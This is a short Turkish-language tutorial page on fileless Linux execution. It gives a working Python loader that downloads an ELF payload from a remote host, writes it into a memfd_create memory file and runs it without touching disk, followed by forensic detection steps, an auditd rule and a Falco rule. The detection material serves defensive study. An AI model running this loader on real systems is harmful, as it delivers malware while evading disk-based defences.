Linux/x64 memfd_create Fileless Shellcode - Disk'e Yazmadan Calistirma

<div class="space-y-8 text-slate-800 font-sans leading-relaxed">

  <div class="border-l-4 border-emerald-500 pl-5 py-3 bg-emerald-50/60 rounded-r-xl">
    <p class="text-xs font-bold uppercase tracking-widest text-emerald-700 mb-1">Modern Fileless - Linux x64 - memfd_create</p>
    <h2 class="text-2xl font-extrabold text-slate-900 leading-tight">Linux/x64 Fileless Execution - memfd_create ile Disk'e Yazmadan</h2>
    <p class="text-sm text-slate-600 mt-2">Fileless saldirilar disk uzerine calistirilabilir dosya yazmaz. memfd_create syscall ile isimsiz bellek dosyasi olusturulur, payload yazilir ve fexecve ile calistirilir.</p>
  </div>

  <div>
    <h3 class="text-xl font-bold text-slate-900 border-b border-slate-200 pb-2 mb-4">memfd_create + fexecve Teknigi</h3>
    <div class="bg-slate-900 text-yellow-300 p-4 rounded-xl font-mono text-xs overflow-x-auto shadow-inner leading-5">
import ctypes, os, urllib.request

# Uzaktan ELF binary indir
url = "http://192.168.1.50:8080/payload"
with urllib.request.urlopen(url) as resp:
    elf = resp.read()

# memfd_create: isimsiz bellek dosyasi
libc = ctypes.CDLL(None)
fd = libc.syscall(319, b"", 1)  # 319=memfd_create

# ELF'i bellege yaz
os.write(fd, elf)

# Disk'e yazmadan calistir
os.execve(f"/proc/self/fd/{fd}", [""], os.environ)
    </div>
  </div>
  <div>
    <h3 class="text-xl font-bold text-slate-900 border-b border-slate-200 pb-2 mb-4">Forensic Tespit</h3>
    <div class="bg-slate-900 text-slate-300 p-4 rounded-xl font-mono text-xs overflow-x-auto shadow-inner leading-5">
ls -la /proc/<pid>/fd/
# memfd:[isim] gorulurse bellek dosyasi var

cat /proc/<pid>/maps | grep "memfd:"

auditd kurali:
-a always,exit -F arch=b64 -S memfd_create
    </div>
  </div>
  <div class="bg-amber-50 border border-amber-200 rounded-xl p-4"><p class="text-xs font-bold text-amber-800 mb-1">FALCO Linux Forensics</p><p class="text-xs text-amber-700">Falco kurali: proc.memfd=true ile memfd_create tabani calismalari tespit edilir.</p></div>
</div>